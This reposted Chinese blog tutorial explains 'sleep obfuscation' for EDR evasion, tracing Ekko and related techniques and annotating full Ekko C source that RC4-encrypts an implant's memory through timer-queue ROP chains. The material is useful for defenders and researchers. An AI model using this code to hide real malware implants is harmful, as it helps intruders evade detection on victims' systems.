免杀对抗之睡眠混淆技术深度解析

admin 2026-08-22 04:43:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深度解析了免杀对抗中的睡眠混淆技术,重点介绍了Ekko技术通过Windows定时器队列实现内存加密解密,避免了RX内存特征。文章从技术细节到代码实现,详细阐述了内存对抗的演进路径,为红队武器研发提供了可操作建议。 综合评分: 86 文章分类: 免杀,红队,内网渗透,安全工具,恶意软件


免杀对抗之睡眠混淆技术深度解析

原创

ybdt ybdt

卡卡罗特取西经

2026年8月2日 23:32 吉林

在小说阅读器读本章

去阅读

0x01 前言

免杀对抗已经从 文件对抗 到 行为对抗,现在演化到 内存对抗,内存对抗分为很多维度,比如内存类型是Private Memory、Mapped Memory还是Image Memory,内存中的数据是否包含已知的恶意代码,调用栈是否可疑等等,其中内存混淆是用来解决内存数据中包含已知的恶意代码

提到内存混淆技术,大家都会想到c5pider的ekko,其实ekko只是内存混淆技术发展史的一环

2021年,github @mgeeky提出了ShellcodeFluctuation技术,实现了内存睡眠时混淆,使用时解密,不过有一个缺点,至少要有一块RX内存来做这件事,做这件事的RX内存也就成了EDR的检测点

2022年,twitter @C5pider改进后提出了Ekko技术,创新性的通过CreateTimerQueueTimer,借助Windows内核实现内存的加密解密,完美规避需要一块RX内存这个特征

2022年,github @Idov31改进后提出了Cronos技术,Ekko使用的是CreateTimerQueueTimer,在EDR扫描定时器队列时易被检测到,于是改用WaitableTimer,再配合RC4加密,可以绕过针对Ekko定时器队列的检测

2022年,linkedin @Austin H.等人改进后提出了FOLIAGE技术,转变了思路改用APC,通过NtQueueApcThread + NtTestAlert实现ROP链,一度绕过大量基于定时器检测的EDR

2023年起,EDR厂商发现,检测重心是定时器或其他的ROP链,攻击者还会发明新的ROP链,于是转向另一个维度,“调用堆栈”,基于此,DreamWalkers、SilentMookwalk等技术相继被提出,实现了调用栈伪造和堆栈加密

其实,像ShellcodeFluctuation、Ekko、Cronos、FOLIAGE这类技术,属于睡眠期内存混淆技术,还有一类运行期内存混淆技术,可以实现用到哪个内存页,解密哪个内存页,最多保留3个内存页被解密,其余内存页均被加密,这样可以有效规避基于内存YARA特征的检测,比如Cobalt Strike的创造者Raphael Mudge提出的Page Streaming,不过执行效率会受到一定影响

更有甚者,实现了按指令解密,比如github @tijme提出的kong-loader,CPU每执行完一条指令,触发一次单步调试异常,VEH拦截到这个异常后,动态解密下一条指令,这样EDR每次只能看到一个指令,更加难以检测,不过这会导致运行效率低很多很多

也许免杀对抗演进的后面会用到运行时内存混淆技术,不过当前的实际攻防中,Beacon在99%的时间都是睡眠的,执行时间为毫秒级别,而且 睡眠期内存混淆技术 相对 运行期内存混淆技术 运行效率也更高,所以多数红队武器研发人员都会采用睡眠期内存加密技术,本文基于Ekko,将睡眠期内存加密技术讲清楚,从技术细节,到代码实现

0x02 技术细节

如果一块RX内存都不留,还要做加密解密操作,自身是无法实现的,就需要借助外界的进程(线程)来做这件事,这里借助的是Windows定时器队列(Windows Timer Queue)

想掌握技术细节,需要依次掌握下面几个概念

CONTEXT结构体

在 Windows 操作系统中,CONTEXT 结构体是一个极其核心的底层数据结构。它本质上是 CPU 寄存器在内存中的一份完整镜像。

当系统进行线程切换、发生异常(Exception),或者像 EKKO 技术这样进行线程劫持时,Windows 都会把当前 CPU 的所有寄存器状态(如当前执行到哪行代码、栈顶在哪里、通用寄存器里存了什么)打包存入一个 CONTEXT 结构体中。

由于不同的 CPU 架构(如 x86、x64、ARM)拥有完全不同的寄存器,因此 CONTEXT 结构体在不同的架构下原型是完全不同的。

下面重点展示 x64 (AMD64) 架构下的 CONTEXT 结构体原型,在 Windows SDK 的 WinNT.h 头文件中,x64 架构的 CONTEXT 完整定义如下(为了便于阅读,已省略部分对齐填充和不常用的调试寄存器)

typedef struct DECLSPEC_ALIGN(16) _CONTEXT {    // 1. 控制标志:决定了当下这个结构体里哪些寄存器数据是有效的    DWORD ContextFlags;     // 2. 调试寄存器 (Debug Registers)    DWORD Dr0;    DWORD Dr1;    DWORD Dr2;    DWORD Dr3;    DWORD Dr6;    DWORD Dr7;     // 3. 段寄存器 (Segment Registers)    WORD   SegCs;    WORD   SegDs;    WORD   SegEs;    WORD   SegFs;    WORD   SegGs;    WORD   SegSs;    DWORD  EFlags;     // 4. 通用寄存器 (整数寄存器 - Integer Registers)    // EKKO 技术中重点伪造和利用的就是这一部分    DWORD64 Rax;    DWORD64 Rcx;    // EKKO 用来传参数 1 (如 ImageBase)    DWORD64 Rdx;    // EKKO 用来传参数 2 (如 ImageSize)    DWORD64 Rbx;    DWORD64 Rsp;    // 栈指针寄存器:指向当前线程的栈顶    DWORD64 Rbp;    DWORD64 Rsi;    DWORD64 Rdi;    DWORD64 R8;     // EKKO 用来传参数 3 (如 PAGE_READWRITE)    DWORD64 R9;     // EKKO 用来传参数 4 (如 &OldProtect)    DWORD64 R10;    DWORD64 R11;    DWORD64 R12;    DWORD64 R13;    DWORD64 R14;    DWORD64 R15;     // 5. 指令寄存器 (Instruction Pointer)    // 指向当前 CPU 要执行的指令地址    DWORD64 Rip;     // 6. 浮点与流式 SIMD 扩展寄存器 (Floating Point / MMX / SSE)    union {        XMM_SAVE_AREA32 FltSave;        struct {            M128A Header[2];            M128A Legacy[8];            M128A Xmm0;            M128A Xmm1;            ...            M128A Xmm15;        } DUMMYSTRUCTNAME;    } DUMMYUNIONNAME;     M128A VectorRegister[26];    DWORD64 VectorControl;     // 7. 特殊控制寄存器    DWORD64 DebugControl;    DWORD64 LastBranchToRip;    DWORD64 LastBranchFromRip;    DWORD64 LastExceptionToRip;    DWORD64 LastExceptionFromRip;} CONTEXT, *PCONTEXT;

RtlCaptureContext

用于捕获当前CPU各寄存器的值到结构体CONTEXT中,包括RIP寄存器、RCX寄存器、RDX寄存器、R8寄存器、R9寄存器、等等,熟悉汇编的人会立刻想到,在x64系统中,RIP存储下一条要执行的指令,RCX、RDX、R8、R9分别存储前4个参数

NtContinue

用于读取结构体CONTEXT中的值,恢复到各个寄存器,其中就包括RIP寄存器,也就是说程序的执行流程会变为恢复后RIP指向的函数

SystemFunction032

使用Advapi32.dll中的未导出函数 SystemFunction032 实现加解密,它底层实现的是RC4加密算法,这是一种对称加密

CreateTimerQueueTimer

用于创建一个基于线程池的定时器,就是说,创建好定时器后,由Windows内核调用线程池中的线程来执行,不需要程序自身执行,也就对应最初的理念,一块RX内存都不需要实现内存的加密解密

BOOL CreateTimerQueueTimer(  [out]          PHANDLE              phNewTimer,  // 接收定时器句柄  [in, optional] HANDLE               TimerQueue,  // 定时器队列句柄  [in]           WAITORTIMERCALLBACK  Callback,    // 回调函数指针  [in, optional] PVOID                Parameter,   // 回调函数参数  [in]           DWORD                DueTime,     // 首次到期时间 (毫秒)  [in]           DWORD                Period,      // 后续周期 (毫秒)  [in]           ULONG                Flags        // 执行选项标志);

第1个参数是输出参数,接收这个API返回的句柄第2个参数,默认值为NULl,表示使用系统默认的定时器队列,但手动创建一个队列,可以避免和队列中的其他定时器冲突,更好一些第3个参数,定时器到期时,要执行的回调函数第4个参数,回调函数的参数第5个参数,定时器首次到期的时间,单位毫秒第6个参数,定时器执行周期,每隔多久执行一次,单位毫秒,设为0仅执行1次第7个参数,控制回调函数被执行的标志,可以先不管

0x03 代码实现

Ekko.h

#ifndef EKKO_EKKO_H#define EKKO_EKKO_H #include typedef struct{    DWORD    Length;    DWORD  MaximumLength;    PVOID   Buffer;} USTRING ; VOID EkkoObf( DWORD SleepTime ); #endif

通过#ifndef实现头文件保护,功能类似#pragmaonce定义一个结构体,声明一个函数

Common.h

#ifndef EKKO_COMMON_H#define EKKO_COMMON_H #include#include #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)#define NtCurrentThread() (  ( HANDLE ) ( LONG_PTR ) -2 )#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 ) #endif

通过#ifndef实现头文件保护,功能类似#pragmaonce定义几个函数宏

Main.c

#include#include int main(  ){    puts( ”[*] Ekko Sleep Obfuscation by C5pider” );     do        // Start Sleep Obfuscation        EkkoObf( 4 * 1000 );    while ( TRUE );     return 0;}

主函数

Ekko.c

代码被我稍微排版了下,方便阅读

#include#include VOID EkkoObf( DWORD SleepTime ){    // 初始化头文件中定义的结构体    // 定义加密密钥,存入结构体Key中    USTRING Key = { 0 };    CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };    Key.Length  = 16;    Key.MaximumLength = 16;    Key.Buffer  = KeyBuf;     // 初始化头文件中定义的结构体    // 获取当前进程在内存中的首地址及大小,存入结构体Img中    USTRING Img = { 0 };    PVOID   ImageBase   = NULL;    DWORD   ImageSize   = 0;    ImageBase = GetModuleHandleA( NULL );    ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage;    Img.Length  = ImageSize;    Img.MaximumLength = ImageSize;    Img.Buffer  = ImageBase;     // 动态获取NtContinue和SystemFunction032的地址    // 有的同学可能会问,为什么后面的RtlCaptureContext不用动态获取,因为RtlCaptureContext相对更无害,允许它出现在PE导入表中    PVOID   NtContinue  = NULL;    PVOID   SysFunc032  = NULL;    NtContinue  = GetProcAddress( GetModuleHandleA( ”Ntdll” ), ”NtContinue” );    SysFunc032  = GetProcAddress( LoadLibraryA( ”Advapi32” ),  ”SystemFunction032” );     // 存储当前CPU的寄存器状态    CONTEXT CtxThread   = { 0 };     // 整个内存加密流程涉及:修改内存权限为RX、加密、解密、修改内存权限为RW,每个步骤需要一个函数执行,每个函数设置自己的CPU寄存器值,通过NtContinue恢复寄存器后执行    CONTEXT RopProtRW   = { 0 };    CONTEXT RopMemEnc   = { 0 };    CONTEXT RopDelay    = { 0 };    CONTEXT RopMemDec   = { 0 };    CONTEXT RopProtRX   = { 0 };    CONTEXT RopSetEvt   = { 0 };     // 调用CreateTimerQueueTimer创建定时器,借助线程池中的线程执行RtlCaptureContext,捕获当前CPU中寄存器的状态,存入CtxThread    HANDLE  hTimerQueue = NULL;    HANDLE  hNewTimer   = NULL;    HANDLE  hEvent      = NULL;    DWORD   OldProtect  = 0;    hEvent      = CreateEventW( 0, 0, 0, 0 );    hTimerQueue = CreateTimerQueue();    if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) )    {        // 调用WaitForSingleObject等待0x32毫秒,给RtlCaptureContext留出时间捕获        WaitForSingleObject( hEvent, 0x32 );         // 同样的CtxThread拷贝6份        memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );        memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );        memcpy( &RopDelay,  &CtxThread, sizeof( CONTEXT ) );        memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );        memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );        memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );         // 第1份拷贝调用VirtualProtect        // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );        RopProtRW.Rsp  -= 8;        RopProtRW.Rip   = VirtualProtect;        RopProtRW.Rcx   = ImageBase;        RopProtRW.Rdx   = ImageSize;        RopProtRW.R8    = PAGE_READWRITE;        RopProtRW.R9    = &OldProtect;         // 第2份拷贝用于加密        // SystemFunction032( &Key, &Img );        RopMemEnc.Rsp  -= 8;        RopMemEnc.Rip   = SysFunc032;        RopMemEnc.Rcx   = &Img;        RopMemEnc.Rdx   = &Key;         // 将加密状态保持一段时间        // WaitForSingleObject( hTargetHdl, SleepTime );        RopDelay.Rsp   -= 8;        RopDelay.Rip    = WaitForSingleObject;        RopDelay.Rcx    = NtCurrentProcess();        RopDelay.Rdx    = SleepTime;         // 解密        // SystemFunction032( &Key, &Img );        RopMemDec.Rsp  -= 8;        RopMemDec.Rip   = SysFunc032;        RopMemDec.Rcx   = &Img;        RopMemDec.Rdx   = &Key;         // 修改权限        // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect );        RopProtRX.Rsp  -= 8;        RopProtRX.Rip   = VirtualProtect;        RopProtRX.Rcx   = ImageBase;        RopProtRX.Rdx   = ImageSize;        RopProtRX.R8    = PAGE_EXECUTE_READWRITE;        RopProtRX.R9    = &OldProtect;         // 设置事件,触发WaitForSingleObject        // SetEvent( hEvent );        RopSetEvt.Rsp  -= 8;        RopSetEvt.Rip   = SetEvent;        RopSetEvt.Rcx   = hEvent;         puts( ”[INFO] Queue timers” );         // 线程池中的线程在 100ms 时帮我们改了权限,200ms 时帮我们加了密,300ms 时睡眠,400ms时解密,500ms时改权限,600ms时触发WaitForSingleObject让线程继续执行        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay,  300, 0, WT_EXECUTEINTIMERTHREAD );        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD );        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD );        CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD );         puts( ”[INFO] Wait for hEvent” );        WaitForSingleObject( hEvent, INFINITE );        puts( ”[INFO] Finished waiting for event” );    }     DeleteTimerQueue( hTimerQueue );}

需要注意,上述代码并不是工程中可用的,仅为Demo代码

加密解密函数SystemFunction032需要的参数是结构体类型,首先对结构体进行初始化,要加密的内存首地址、内存大小、加密的密钥、密钥大小

通过GetProcAddress动态获取NtContinue和SystemFunction032的地址

调用CreateTimerQueueTimer创建定时器,借助线程池中的线程执行RtlCaptureContext,捕获当前CPU中寄存器的状态,存入CtxThread

调用WaitForSingleObject等待0x32毫秒,给RtlCaptureContext留出时间捕获

同样的CtxThread拷贝6份,第1份拷贝修改权限为RW,第2份拷贝执行加密,第3份拷贝等待一会,第4份拷贝解密,第5份拷贝修改权限为RX,第6份拷贝设置事件触发WaitForSingleObject继续执行主线程

最终,线程池中的线程在 100ms 时帮我们改了权限,200ms 时帮我们加了密,300ms 时睡眠,400ms时解密,500ms时改权限,600ms时触发WaitForSingleObject让线程继续执行

0x04 尾语

本文并未深入到工程层面去讲解睡眠混淆技术,更多面向初学者如何搞懂睡眠混淆,其中也掺杂着自己的理解,如有错误之处,请指正,其他的睡眠期内存混淆技术根本上同理,仅调用的API、实现方式不同


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:卡卡罗特取西经 ybdt ybdt《免杀对抗之睡眠混淆技术深度解析》

评论:0   参与:  0